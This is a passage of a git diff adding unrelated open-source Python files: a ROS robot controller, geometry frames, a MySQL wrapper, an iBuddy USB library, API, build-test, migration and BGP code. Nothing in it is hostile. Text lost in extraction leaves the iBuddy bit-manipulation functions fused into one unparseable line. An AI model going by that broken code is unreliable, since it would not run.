""" + This method will create the list of Graph object that will represent the environment + + Returns : + - graph -- a list of Graph objects + """ + graph = [] + for sector in sectors: + + graph.append( Graph( sector ) ) + + return graph + + + + def linkGraphs ( self ): + """ + This method will link all the Graph objects + """ + # Link all graphs object with their nexts sectors + for graph in self.graph: + next = [] + for next_id in graph.next_ids: + for next_graph in self.graph: + if next_graph.id == next_id: + next.append( next_graph ) + + graph.next = next + + # Now we only need the reference of the home sectors to describe the whole graph + self.graph = self.graph[0] + + + + def loadGraph( self ): + """ This method creates the graph object to represent the environment """ + + sectors = self.config[ 'graph' ]['sectors'] # To this date we only use the sectors + self.graph = self.createListGraph( sectors ) + self.linkGraphs() + + + + def robot_callback( self, msg ): + """ + Reacts to a event from a robot : updates the state + """ + # If the robot crosses a border, we change the state + # if the robot is displaying EOS or Gr, we do not change the state of the controller + if msg.event != Event.EOS and msg.event != Event.G: + # update the state + + # If the robot has finished the task + if not self.robot_handlers[msg.robot_id].task: + self.display( "No task running for robot " + str( msg.robot_id ) ) + self.state.P[msg.robot_id] = 0 + self.state.R[msg.robot_id] = self.robot_handlers[msg.robot_id].nextSector() # returns the "home" value + self.state.N[msg.robot_id] = self.robot_handlers[msg.robot_id].nextSector() + + else: + self.display( "Task running for robot " + str( msg.robot_id ) ) + self.state.P[msg.robot_id] += 1 + self.state.R[msg.robot_id] = self.state.N[msg.robot_id] + self.state.N[msg.robot_id] = self.robot_handlers[msg.robot_id].nextSector() + + self.robot_handlers[msg.robot_id].changeSector() + + self.display ( "Received event from " + str(msg.robot_id) + ": " + str( msg.event ) ) + + + + def createRobots( self ): + """ + This method will creates all the node corresponding to robots + and store process handlers in an array. + It will also creates the corresponding topics. + """ + + package = "ebc" + executable = "Robot.py" + name_base = "robot" + + launch = roslaunch.scriptapi.ROSLaunch() + launch.start() + + self.robot_handlers = [] + for i in range( 0, self.config["performers"]["quantity"] ): + self.robot_handlers.append( RobotHandler( name_base+str(i), launch, self ) ) + + return + + + + def loadTasks( self ): + """ + This load the task and creates a stack of tasks + """ + self.tasks = [] + for task in self.config["tasks"]: + self.tasks.append( Task( task ) ) + + self.next_assigned_task_index = 0 + + return + + + + def sendTask( self, robot, task ): + """ + Assign and send a task to the robot + """ + # Wait until all robots are available + while not ( self.task_pub.get_num_connections() >= self.config["performers"]["quantity"] ): + rospy.sleep( 0.1 ) + + # publish message + self.task_pub.publish( robot.id, str(task) ) + + self.robot_handlers[robot.id].assignTask( task, self.next_assigned_task_index ) + + # update the state + self.state.P[ robot.id ] = 0 + self.state.R[ robot.id ] = str( task.sectors[ 0 ] ) + self.state.N[ robot.id ] = str(task.sectors[ 1 ]) + + self.display( "Sent task " + + str(self.next_assigned_task_index) + + " to robot " + + str(robot.id) ) + + + + + + def dispatchTasks( self ): + """ + This method will take the unfinished tasks from the pool of tasks and + assign them to unoccupied robots + """ + # For each unoccupied robots + for robot in self.robot_handlers: + if robot.acceptTask: + # assign an unassigned task( if there are any) + if self.next_assigned_task_index < len( self.tasks ): + self.sendTask( robot, self.tasks[ self.next_assigned_task_index ] ) + self.next_assigned_task_index += 1 + else: + break + + # Check if all tasks are finished + if self.next_assigned_task_index == len( self.tasks ): + all_tasks_done = True + for robot in self.robot_handlers: + if not robot.acceptTask: + all_tasks_done = False # At least one robot is busy + break + + if all_tasks_done: + # Say goodbye and quit + self.display( "Controller has successfully performed all operations, \"Yeeeeehaaaa\" if I may say so." ) + self.stop() + + + + def setup ( self ): + """ Here we set up the simulation parameters for the controller """ + self.loadConfig() # Load the config file + + # creates the robot handler objects + self.createRobots() + + # initialize the state + self.state = State( self.config, len( self.robot_handlers ), len( self.config["graph"] ) ) + + # Publish our name to the parameters server + rospy.set_param( 'controller_name', rospy.get_name() ) + + # Create our control publish + self.event_pub = rospy.Publisher( rospy.get_name(), Event, latch=True ) + + # creates the graph object + self.loadGraph() + + # Creates and dispatch the task messages + self.task_pub = rospy.Publisher( "/tasks", TaskMsg, latch=True ) # important to latch + self.loadTasks() + self.dispatchTasks() + + + + + + def loopHook(self): + """ The loop hook is called by the loop() method """ + + # See if we can fire any control event (grant) + events = self.state.nextEvent() + if events: + for event in events: + self.event_pub.publish( event ) + + # See if there is any unoccupied robot + self.dispatchTasks() + + # Print and that's it + self.display( str( self.state ) ) + + return + + + def stop( self ): + """ + This is the cleanup function + """ + + for robot_handler in self.robot_handlers: + robot_handler.stop() + + + sys.exit() + + + + +if __name__ == "__main__": + ctrl = Controller ( "controller" ) + ctrl.start() + ctrl.loop(0.5) diff --git a/pool/shard000/Python/0008714_frames.py b/pool/shard000/Python/0008714_frames.py new file mode 100644 index 0000000000000000000000000000000000000000..3b93b311a9645d53f764e0c948e0f0115908b2ed --- /dev/null +++ b/pool/shard000/Python/0008714_frames.py @@ -0,0 +1,92 @@ + +from ..mathematics.vectors3d import * + + +class RefFrame2D(object): + + def __init__(self, + versor_x: Vect3D, + versor_y: Vect3D): + """ + Reference frame constructor. + + :param versor_x: Vect instance representing the x axis orientation + :param versor_y: Vect instance representing the y axis orientation + + Examples: + """ + + if not (versor_x.is_close_to_1 and versor_y.is_close_to_1): + raise Exception("Input vectors must be near unit") + + if not areClose(versor_x.angle_as_degrees(versor_y), 90.0): + raise Exception("Input vectors must be sub-orthogonal") + + self._x = versor_x + self._y = versor_y + + @property + def x(self) -> Vect3D: + """ + Return the x axis as a vector. + + :return: x axis + :rtype: Vect3D + + Examples: + >>> RefFrame2D(Vect3D(1,0,0), Vect3D(0,1,0)).x + Vect3D(1.0000, 0.0000, 0.0000) + """ + + return self._x + + @property + def y(self) -> Vect3D: + """ + Return the y as a vector. + + :return: y axis + :rtype: Vect3D + + Examples: + >>> RefFrame2D(Vect3D(1,0,0), Vect3D(0,1,0)).y + Vect3D(0.0000, 1.0000, 0.0000) + """ + + return self._y + + +class RefFrame3D: + + def __init__(self, + versor_x, + versor_y, + versor_z + ): + + assert almost_zero(versor_x.scalar_product(versor_y)) + assert almost_zero(versor_x.scalar_product(versor_z)) + assert almost_zero(versor_y.scalar_product(versor_z)) + + self.axes = [versor_x, versor_y, versor_z] + + def rotation_matrix(self, rotated_frame): + + for frame_axis in self.axes: + assert almost_zero(frame_axis.lenght_3d() - 1.0) + for frame_axis in rotated_frame.axes: + assert almost_zero(frame_axis.lenght_3d() - 1.0) + + rot_matrix = np.zeros((3, 3)) * np.nan + + for i, rot_frame_versor in enumerate(rotated_frame.axes): + for j, init_frame_versor in enumerate(self.axes): + rot_matrix[i, j] = init_frame_versor.scalar_product(rot_frame_versor) + + return rot_matrix + + +if __name__ == "__main__": + + import doctest + doctest.testmod() diff --git a/pool/shard000/Python/0008720_mysql.py b/pool/shard000/Python/0008720_mysql.py new file mode 100644 index 0000000000000000000000000000000000000000..d9251d785e71689fb120bca847c115ec5f8527a0 --- /dev/null +++ b/pool/shard000/Python/0008720_mysql.py @@ -0,0 +1,107 @@ +################################################################ +# LiveQ - An interactive volunteering computing batch system +# Copyright (C) 2013 Ioannis Charalampidis +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +################################################################ + +""" +MySQL Database Class + +This class provides a MySQL connection to the peewee databse back-end. +""" + +import time +import logging + +#from _mysql_exceptions import OperationalError +from peewee import OperationalError, MySQLDatabase +from liveq.config.classes import DatabaseConfigClass + +class DurableMySQLDatabase(MySQLDatabase): + """ + A DurableMySQLDatabase is an extension on the MySQLDatabase that re-connects if the + connection has gone off. + """ + + def init(self, database, **connect_kwargs): + """ + Override the initialization so we add extra variables + """ + + # Call superclass + MySQLDatabase.init(self, database, **connect_kwargs) + + # Get logger + self.logger = logging.getLogger("MySQL") + + # Setup recovery flag + self.__recovering = False + + def execute_sql(self, sql, params=None, require_commit=True): + """ + Function to re-connect to server if it disconnects + """ + try: + return MySQLDatabase.execute_sql(self, sql, params, require_commit) + + except OperationalError as e: + + # If we are recovering, re-raise + if self.__recovering: + raise + + # Check for "SQL server has gone away" + if e.args[0] == 2006: + + # Reconnect + self.close() + self.connect() + + # Retry + self.__recovering = True + try: + ans = MySQLDatabase.execute_sql(self, sql, params, require_commit) + self.__recovering = False + return ans + except OperationalError as e: + self.__recovering = False + raise + + # Check for "Cannot connect to the SQL server" + elif e.args[0] == 2002: + pass + + +class Config(DatabaseConfigClass): + """ + Configuration endpoint for the MySQL + """ + + """ + Populate the database configuration + """ + def __init__(self,config): + self.HOST = config['server'] + self.DATABASE = config['database'] + self.USERNAME = config['username'] + self.PASSWORD = config['password'] + + """ + Create an SQL instance + """ + def instance(self, runtimeConfig): + return DurableMySQLDatabase(self.DATABASE, host=self.HOST, user=self.USERNAME, passwd=self.PASSWORD, threadlocals=True) + diff --git a/pool/shard000/Python/0008722_pybuddylib.py b/pool/shard000/Python/0008722_pybuddylib.py new file mode 100644 index 0000000000000000000000000000000000000000..538130e9b2ae6041f817cd4f79b5dd9d523cb31f --- /dev/null +++ b/pool/shard000/Python/0008722_pybuddylib.py @@ -0,0 +1,272 @@ +#!/usr/bin/env python +# +# pybuddylib.py: simple library to control iBuddy USB device +# by ewall , Sept 2010 +# +# borrows code from http://code.google.com/p/pybuddy +# by Jose.Carlos.Luna@gmail.com and luis.peralta@gmail.com +# who got most of the code from http://cuntography.com/blog/?p=17 +# which is based on http://scott.weston.id.au/software/pymissile/ +# +# TODO: - Why does libusb require sudo/root on Linux? +# - Why does libusb-win32 error on Windoze? +# + +import logging +from time import sleep +from sys import exit +import usb + +### Global Configuration +DEBUG = True + +### Prepare Logging +log = logging.getLogger("pybuddy") +log.setLevel(logging.DEBUG) +console_handler = logging.StreamHandler() +if DEBUG: + console_handler.setLevel(logging.DEBUG) +else: + console_handler.setLevel(logging.ERROR) +log.addHandler(console_handler) + +### General USB Device Class +class UsbDevice: + def __init__(self, vendor_id, product_id, skip): + busses = usb.busses() + self.handle = None + count = 0 + for bus in busses: + devices = bus.devices + for dev in devices: + + if dev.idVendor==vendor_id and dev.idProduct==product_id: + if count==skip: + log.info("USB device found (vend: %s, prod: %s)." % (dev.idVendor, dev.idProduct)) + self.dev = dev + + self.conf = self.dev.configurations[0] + self.intf = self.conf.interfaces[0][0] + self.endpoints = [] + for endpoint in self.intf.endpoints: + self.endpoints.append(endpoint) + log.info("USB endpoint found.") + return + else: + count=count+1 + raise NoBuddyException() + + def open(self): + # TODO: should the HID driver detachment be optional? + self.handle = self.dev.open() + + # we need to detach HID interface + try: + self.handle.detachKernelDriver(0) + self.handle.detachKernelDriver(1) + except: + pass + + self.handle.setConfiguration(self.conf) + self.handle.claimInterface(self.intf) + self.handle.setAltInterface(self.intf) + +### iBuddy Device Class +class iBuddyDevice: + USB_VENDOR = 0x1130 + USB_PRODUCT = int(0x0001) + BATTERY = 0 + SETUP = (0x22, 0x09, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00) + MESS = (0x55, 0x53, 0x42, 0x43, 0x00, 0x40, 0x02) + + WAITTIME = 0.1 + + LEFT = 0 + RIGHT = 1 + UP = 0 + DOWN = 1 + OFF = 0 + ON = 1 + + BLUE = (0,0,1) + GREEN = (0,1,0) + LTBLUE = (0,1,1) + PURPLE = (1,0,1) + RED = (1,0,0) + WHITE = (1,1,1) + YELLOW = (1,1,0) + + CLEAR = 0xFF + command = CLEAR + + # the following items deal with setup and control + + def __init__(self): + try: + self.dev=UsbDevice(self.USB_VENDOR, self.USB_PRODUCT, self.BATTERY) + self.dev.open() + self.dev.handle.reset() + self.resetCmd() + self.doCmd() + except NoBuddyException, e: + raise NoBuddyException() + + def __send(self, inp): + """ send your command to the device """ + try: + self.dev.handle.controlMsg(0x21, 0x09, self.SETUP, 0x02, 0x01) + self.dev.handle.controlMsg(0x21, 0x09, self.MESS+(inp,), 0x02, 0x01) + except usb.USBError: + if DEBUG: + self.__init__() + #raise + else: + self.__init__() + + def doCmd(self, seconds=WAITTIME): + """ send the command specified by the current command """ + self.__send(self.command) + sleep(seconds) + + # the following items operate on the command to be sent next + + def resetCmd(self): + """ reset command to default (must pump to take effect) """ + self.command = self.CLEAR + + def setReverseBitValue(self,num,value): + """ commands are sent as disabled bits """ + if (value==1): + temp = 0xFF - (1<> num + res = not(temp&1) + return res + + def setHeadColors(self, red, green, blue): + """ colors as (red, green, blue) can be on (1) or off (0) """ + self.setReverseBitValue(4,red) + self.setReverseBitValue(5,green) + self.setReverseBitValue(6,blue) + self.setReverseBitValue(2,1) + + def getHeadColors (self): + """ returns color status as tuple representing (red, green, blue) as on (1) or off (0) """ + return self.getReverseBitValue(4), self.getReverseBitValue(5), self.getReverseBitValue(6) + + def setHeart(self, status): + """ heart-light can be on (1) or off (0) """ + self.setReverseBitValue(7,status) + + def getHeart(self): + """ returns heart-light status of on (1) or off (0) """ + return self.getReverseBitValue(7) + + def setWing(self, direction): + """ move the wings iBuddyDevice.UP (0) or iBuddyDevice.DOWN (1) """ + if (direction == self.UP): + self.setReverseBitValue(3,1) + self.setReverseBitValue(2,0) + elif(direction == self.DOWN): + self.setReverseBitValue(3,0) + self.setReverseBitValue(2,1) + + def getWing(self): + """ returns wing status of iBuddyDevice.UP (0) or iBuddyDevice.DOWN (1) """ + return self.getReverseBitValue(2) + + def setSwivel(self, direction): + """ swivel the body iBuddyDevice.LEFT (0) or iBuddyDevice.RIGHT (1) """ + if (direction == self.RIGHT): + self.setReverseBitValue(1,1) + self.setReverseBitValue(0,0) + elif(direction == self.LEFT): + self.setReverseBitValue(1,0) + self.setReverseBitValue(0,1) + + def getSwivel(self): + """ returns current swivel direction as iBuddyDevice.LEFT (0) or iBuddyDevice.RIGHT (1) """ + return self.getReverseBitValue(1) + + # the following items are macros for specific behaviors + + def doReset(self, seconds=WAITTIME): + """ reset to default positions/off, run command immediately """ + self.resetCmd() + self.doCmd(seconds) + + def doFlap(self, times=3, seconds=0.2): + """ flap wings X times with Y seconds pause in between, run command immediately """ + for i in range(times): + self.setWing(self.UP) + self.doCmd(seconds) + self.setWing(self.DOWN) + self.doCmd(seconds) + + def doWiggle(self, times=3, seconds=0.2): + """ wiggle back and forth X times with Y seconds pauses, run command immediately """ + for i in range(times): + self.setSwivel(self.LEFT) + self.doCmd(seconds) + self.setSwivel(self.RIGHT) + self.doCmd(seconds) + + def doHeartbeat(self, times=3, seconds=0.3): + """ blink heart X times with Y seconds' pause in betwee, run command immediately """ + for i in range(times): + self.setHeart(self.ON) + self.doCmd(seconds) + self.setHeart(self.OFF) + self.doCmd(seconds) + + def doColorRGB(self, r, g, b, seconds=WAITTIME): + """ set head color by red/green/blue values 0 or 1, run command immediately """ + self.setHeadColors(r, g, b) + self.doCmd(seconds) + + def doColorName(self, rgb, seconds=WAITTIME): + """ set head color with color name tuples, run command immediately """ + self.setHeadColors(*rgb) + self.doCmd(seconds) + +## Custom Exceptions +class NoBuddyException(usb.USBError): + """ indicates errors communicating with iBuddy USB device """ + #def __init__(self, *args): + # Exception._ _init_ _(self, *args) + # self.wrapped_exc = sys.exc_info() + pass + +### Main Program +if __name__ == '__main__': + + # find iBuddy device + log.info("Starting search...") + try: + buddy = iBuddyDevice() + except NoBuddyException, e: + log.exception("No iBuddy device found!") + exit(1) + + # demo command macros + buddy.doColorName(iBuddyDevice.PURPLE, 0.5) + buddy.doColorName(iBuddyDevice.BLUE, 0.5) + buddy.doColorName(iBuddyDevice.LTBLUE, 0.5) + buddy.doColorName(iBuddyDevice.YELLOW, 0.5) + buddy.doColorName(iBuddyDevice.GREEN, 0.5) + buddy.doColorName(iBuddyDevice.RED, 0.5) + buddy.doColorName(iBuddyDevice.WHITE, 0.5) + buddy.doFlap() + sleep(1) + buddy.doWiggle() + sleep(1) + buddy.doHeartbeat() + sleep(1) + buddy.doReset() diff --git a/pool/shard000/Python/0008723_statuses.py b/pool/shard000/Python/0008723_statuses.py new file mode 100644 index 0000000000000000000000000000000000000000..0044c3343991fcd846a9bbc2fb5230948c181cd3 --- /dev/null +++ b/pool/shard000/Python/0008723_statuses.py @@ -0,0 +1,45 @@ +"""This module provides the blueprint for the statuses API endpoints. + +For more information please refer to the documentation: http://bigchaindb.com/http-api +""" +from flask import current_app +from flask_restful import Resource, reqparse + +from bigchaindb.web.views.base import make_error + + +class StatusApi(Resource): + def get(self): + """API endpoint to get details about the status of a transaction or a block. + + Return: + A ``dict`` in the format ``{'status': }``, where + ```` is one of "valid", "invalid", "undecided", "backlog". + """ + parser = reqparse.RequestParser() + parser.add_argument('transaction_id', type=str) + parser.add_argument('block_id', type=str) + + args = parser.parse_args(strict=True) + tx_id = args['transaction_id'] + block_id = args['block_id'] + + # logical xor - exactly one query argument required + if bool(tx_id) == bool(block_id): + return make_error(400, 'Provide exactly one query parameter. Choices are: block_id, transaction_id') + + pool = current_app.config['bigchain_pool'] + status = None + + with pool() as bigchain: + if tx_id: + status = bigchain.get_status(tx_id) + elif block_id: + _, status = bigchain.get_block(block_id=block_id, include_status=True) + + if not status: + return make_error(404) + + return { + 'status': status + } diff --git a/pool/shard000/Python/0008724_check_build.py b/pool/shard000/Python/0008724_check_build.py new file mode 100644 index 0000000000000000000000000000000000000000..667d349f031082b2b5ba4e8aca81c3a2003b907d --- /dev/null +++ b/pool/shard000/Python/0008724_check_build.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python +# License: GPLv3 Copyright: 2021, Kovid Goyal + + +import os +import sys +import unittest + +from . import BaseTest + + +class TestBuild(BaseTest): + + def test_exe(self) -> None: + from kitty.constants import kitty_exe + exe = kitty_exe() + self.assertTrue(os.access(exe, os.X_OK)) + self.assertTrue(os.path.isfile(exe)) + self.assertIn('kitty', os.path.basename(exe)) + + def test_loading_extensions(self) -> None: + import kitty.fast_data_types as fdt + from kittens.choose import subseq_matcher + from kittens.diff import diff_speedup + from kittens.transfer import rsync + from kittens.unicode_input import unicode_names + del fdt, unicode_names, subseq_matcher, diff_speedup, rsync + + def test_loading_shaders(self) -> None: + from kitty.utils import load_shaders + for name in 'cell border bgimage tint blit graphics'.split(): + load_shaders(name) + + def test_glfw_modules(self) -> None: + from kitty.constants import glfw_path, is_macos + linux_backends = ['x11'] + if not self.is_ci: + linux_backends.append('wayland') + modules = ['cocoa'] if is_macos else linux_backends + for name in modules: + path = glfw_path(name) + self.assertTrue(os.path.isfile(path), f'{path} is not a file') + self.assertTrue(os.access(path, os.X_OK), f'{path} is not executable') + + def test_all_kitten_names(self) -> None: + from kittens.runner import all_kitten_names + names = all_kitten_names() + self.assertIn('diff', names) + self.assertIn('hints', names) + self.assertGreater(len(names), 8) + + def test_filesystem_locations(self) -> None: + from kitty.constants import ( + logo_png_file, shell_integration_dir, terminfo_dir + ) + zsh = os.path.join(shell_integration_dir, 'zsh') + self.assertTrue(os.path.isdir(terminfo_dir), f'Terminfo dir: {terminfo_dir}') + self.assertTrue(os.path.exists(logo_png_file), f'Logo file: {logo_png_file}') + self.assertTrue(os.path.exists(zsh), f'Shell integration: {zsh}') + + def test_ca_certificates(self): + import ssl + if not getattr(sys, 'frozen', False): + self.skipTest('CA certificates are only tested on frozen builds') + c = ssl.create_default_context() + self.assertGreater(c.cert_store_stats()['x509_ca'], 2) + + def test_pygments(self): + if not getattr(sys, 'frozen', False): + self.skipTest('Pygments is only tested on frozen builds') + import pygments + del pygments + + +def main() -> None: + tests = unittest.defaultTestLoader.loadTestsFromTestCase(TestBuild) + r = unittest.TextTestRunner(verbosity=4) + result = r.run(tests) + if result.errors or result.failures: + raise SystemExit(1) diff --git a/pool/shard000/Python/0008728_0010_auto_20190617_1524.py b/pool/shard000/Python/0008728_0010_auto_20190617_1524.py new file mode 100644 index 0000000000000000000000000000000000000000..9dc62bc9f3e3fc552207dfe958233ff5319322a4 --- /dev/null +++ b/pool/shard000/Python/0008728_0010_auto_20190617_1524.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.21 on 2019-06-17 15:24 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ('api', '0009_auto_20180711_1927'), + ] + + operations = [ + migrations.RemoveField( + model_name='run', + name='imported', + ), + migrations.AlterField( + model_name='run', + name='parent', + field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='steps', to='api.Run'), + ), + ] diff --git a/pool/shard000/Python/0008737_bootstrap.py b/pool/shard000/Python/0008737_bootstrap.py new file mode 100644 index 0000000000000000000000000000000000000000..86366ec7c46f876906ec8f612e5987210b1d7fd6 --- /dev/null +++ b/pool/shard000/Python/0008737_bootstrap.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import absolute_import, print_function, unicode_literals + +import os +import sys +from os.path import abspath +from os.path import dirname +from os.path import exists +from os.path import join + + +if __name__ == "__main__": + base_path = dirname(dirname(abspath(__file__))) + print("Project path: {0}".format(base_path)) + env_path = join(base_path, ".tox", "bootstrap") + if sys.platform == "win32": + bin_path = join(env_path, "Scripts") + else: + bin_path = join(env_path, "bin") + if not exists(env_path): + import subprocess + + print("Making bootstrap env in: {0} ...".format(env_path)) + try: + subprocess.check_call(["virtualenv", env_path]) + except subprocess.CalledProcessError: + subprocess.check_call([sys.executable, "-m", "virtualenv", env_path]) + print("Installing `jinja2` into bootstrap environment...") + subprocess.check_call([join(bin_path, "pip"), "install", "jinja2"]) + python_executable = join(bin_path, "python") + if not os.path.samefile(python_executable, sys.executable): + print("Re-executing with: {0}".format(python_executable)) + os.execv(python_executable, [python_executable, __file__]) + # activate = join(bin_path, "activate_this.py") + # # noinspection PyCompatibility + # exec(compile(open(activate, "rb").read(), activate, "exec"), dict(__file__=activate)) + + import jinja2 + + import subprocess + + jinja = jinja2.Environment( + loader=jinja2.FileSystemLoader(join(base_path, "ci", "templates")), + trim_blocks=True, + lstrip_blocks=True, + keep_trailing_newline=True + ) + + tox_environments = [ + line.strip() + # WARNING: 'tox' must be installed globally or in the project's virtualenv + for line in subprocess.check_output(['tox', '--listenvs'], universal_newlines=True).splitlines() + ] + tox_environments = [line for line in tox_environments if line not in ['clean', 'report', 'docs', 'check']] + + for name in os.listdir(join("ci", "templates")): + with open(join(base_path, name), "w") as fh: + fh.write(jinja.get_template(name).render(tox_environments=tox_environments)) + print("Wrote {}".format(name)) + print("DONE.") diff --git a/pool/shard000/Python/0008743_init__.py b/pool/shard000/Python/0008743_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..6522a265f3d2316eda6a79e532e5660b63100776 --- /dev/null +++ b/pool/shard000/Python/0008743_init__.py @@ -0,0 +1,114 @@ +import os +import re +import sys +import tempfile +import subprocess +from urllib.request import urlopen +from urllib.error import HTTPError, URLError + +ARTIFACTS_URL = "http://autobuild.buildroot.net/artefacts/" +BASE_DIR = os.path.realpath(os.path.join(os.path.dirname(__file__), "../../..")) + + +def open_log_file(builddir, stage, logtofile=True): + """ + Open a file for logging and return its handler. + If logtofile is True, returns sys.stdout. Otherwise opens a file + with a suitable name in the build directory. + """ + if logtofile: + fhandle = open("{}-{}.log".format(builddir, stage), 'a+') + else: + fhandle = sys.stdout + return fhandle + + +def basepath(relpath=""): + """Return the absolute path for a file or directory relative to the Buildroot top directory.""" + return os.path.join(BASE_DIR, relpath) + + +def filepath(relpath): + return os.path.join(BASE_DIR, "support/testing", relpath) + + +def download(dldir, filename): + finalpath = os.path.join(dldir, filename) + if os.path.exists(finalpath): + return finalpath + + if not os.path.exists(dldir): + os.makedirs(dldir) + + tmpfile = tempfile.mktemp(dir=dldir) + print("Downloading to {}".format(tmpfile)) + + try: + url_fh = urlopen(os.path.join(ARTIFACTS_URL, filename)) + with open(tmpfile, "w+b") as tmpfile_fh: + tmpfile_fh.write(url_fh.read()) + except (HTTPError, URLError) as err: + os.unlink(tmpfile) + raise err + + print("Renaming from {} to {}".format(tmpfile, finalpath)) + os.rename(tmpfile, finalpath) + return finalpath + + +def run_cmd_on_host(builddir, cmd): + """Call subprocess.check_output and return the text output.""" + out = subprocess.check_output(cmd, + stderr=open(os.devnull, "w"), + cwd=builddir, + env={"LANG": "C"}, + universal_newlines=True) + return out + + +def get_elf_arch_tag(builddir, prefix, fpath, tag): + """ + Runs the cross readelf on 'fpath', then extracts the value of tag 'tag'. + Example: + >>> get_elf_arch_tag('output', 'arm-none-linux-gnueabi-', + 'bin/busybox', 'Tag_CPU_arch') + v5TEJ + >>> + """ + cmd = ["host/bin/{}-readelf".format(prefix), + "-A", os.path.join("target", fpath)] + out = run_cmd_on_host(builddir, cmd) + regexp = re.compile(r"^ {}: (.*)$".format(tag)) + for line in out.splitlines(): + m = regexp.match(line) + if not m: + continue + return m.group(1) + return None + + +def get_file_arch(builddir, prefix, fpath): + return get_elf_arch_tag(builddir, prefix, fpath, "Tag_CPU_arch") + + +def get_elf_prog_interpreter(builddir, prefix, fpath): + """ + Runs the cross readelf on 'fpath' to extract the program interpreter + name and returns it. + Example: + >>> get_elf_prog_interpreter('br-tests/TestExternalToolchainLinaroArm', + 'arm-linux-gnueabihf', + 'bin/busybox') + /lib/ld-linux-armhf.so.3 + >>> + """ + cmd = ["host/bin/{}-readelf".format(prefix), + "-l", os.path.join("target", fpath)] + out = run_cmd_on_host(builddir, cmd) + regexp = re.compile(r"^ *\[Requesting program interpreter: (.*)\]$") + for line in out.splitlines(): + m = regexp.match(line) + if not m: + continue + return m.group(1) + return None diff --git a/pool/shard000/Python/0008747_capabilities.py b/pool/shard000/Python/0008747_capabilities.py new file mode 100644 index 0000000000000000000000000000000000000000..44e509341390e8589196d50d9303f9068624845b --- /dev/null +++ b/pool/shard000/Python/0008747_capabilities.py @@ -0,0 +1,167 @@ +# encoding: utf-8 +""" +capabilities.py + +Created by Thomas Mangin on 2012-07-17. +Copyright (c) 2009-2015 Exa Networks. All rights reserved. +""" + +from exabgp.protocol.family import AFI +from exabgp.protocol.family import SAFI + +from exabgp.bgp.message.open.capability.capability import Capability +from exabgp.bgp.message.open.capability.addpath import AddPath +from exabgp.bgp.message.open.capability.asn4 import ASN4 +from exabgp.bgp.message.open.capability.graceful import Graceful +from exabgp.bgp.message.open.capability.mp import MultiProtocol +from exabgp.bgp.message.open.capability.ms import MultiSession +from exabgp.bgp.message.open.capability.operational import Operational +from exabgp.bgp.message.open.capability.refresh import RouteRefresh +from exabgp.bgp.message.open.capability.refresh import EnhancedRouteRefresh +# from exabgp.bgp.message.open.capability.unknown import UnknownCapability + +from exabgp.bgp.message.notification import Notify + + +# =================================================================== Parameter +# + +class Parameter (int): + AUTHENTIFICATION_INFORMATION = 0x01 # Depreciated + CAPABILITIES = 0x02 + + def __str__ (self): + if self == 0x01: + return "AUTHENTIFICATION INFORMATION" + if self == 0x02: + return "OPTIONAL" + return 'UNKNOWN' + +# =================================================================== Capabilities +# http://www.iana.org/assignments/capability-codes/ + +# +------------------------------+ +# | Capability Code (1 octet) | +# +------------------------------+ +# | Capability Length (1 octet) | +# +------------------------------+ +# | Capability Value (variable) | +# +------------------------------+ + + +class Capabilities (dict): + def announced (self, capability): + return capability in self + + def __str__ (self): + r = [] + for key in sorted(self.keys()): + r.append(str(self[key])) + return ', '.join(r) + + def _protocol (self, neighbor): + families = neighbor.families() + mp = MultiProtocol() + mp.extend(families) + self[Capability.CODE.MULTIPROTOCOL] = mp + + def _asn4 (self, neighbor): + if not neighbor.asn4: + return + + self[Capability.CODE.FOUR_BYTES_ASN] = ASN4(neighbor.local_as) + + def _addpath (self, neighbor): + if not neighbor.add_path: + return + + families = neighbor.families() + ap_families = [] + if (AFI(AFI.ipv4),SAFI(SAFI.unicast)) in families: + ap_families.append((AFI(AFI.ipv4),SAFI(SAFI.unicast))) + if (AFI(AFI.ipv6),SAFI(SAFI.unicast)) in families: + ap_families.append((AFI(AFI.ipv6),SAFI(SAFI.unicast))) + if (AFI(AFI.ipv4),SAFI(SAFI.nlri_mpls)) in families: + ap_families.append((AFI(AFI.ipv4),SAFI(SAFI.nlri_mpls))) + if (AFI(AFI.ipv6),SAFI(SAFI.unicast)) in families: + ap_families.append((AFI(AFI.ipv6),SAFI(SAFI.unicast))) + self[Capability.CODE.ADD_PATH] = AddPath(ap_families,neighbor.add_path) + + def _graceful (self, neighbor, restarted): + if not neighbor.graceful_restart: + return + + self[Capability.CODE.GRACEFUL_RESTART] = Graceful().set( + Graceful.RESTART_STATE if restarted else 0x0, + neighbor.graceful_restart, + [(afi,safi,Graceful.FORWARDING_STATE) for (afi,safi) in neighbor.families()] + ) + + def _refresh (self, neighbor): + if not neighbor.route_refresh: + return + self[Capability.CODE.ROUTE_REFRESH] = RouteRefresh() + self[Capability.CODE.ENHANCED_ROUTE_REFRESH] = EnhancedRouteRefresh() + + def _operational (self, neighbor): + if not neighbor.operational: + return + self[Capability.CODE.OPERATIONAL] = Operational() + + def _session (self, neighbor): + if not neighbor.multisession: + return + # XXX: FIXME: should it not be the RFC version ? + self[Capability.CODE.MULTISESSION] = MultiSession().set([Capability.CODE.MULTIPROTOCOL]) + + def new (self, neighbor, restarted): + self._protocol(neighbor) + self._asn4(neighbor) + self._addpath(neighbor) + self._graceful(neighbor,restarted) + self._refresh(neighbor) + self._operational(neighbor) + self._session(neighbor) # MUST be the last key added, really !?! dict is not ordered ! + return self + + def pack (self): + rs = [] + for k,capabilities in self.iteritems(): + for capability in capabilities.extract(): + rs.append("%s%s%s" % (chr(k),chr(len(capability)),capability)) + parameters = 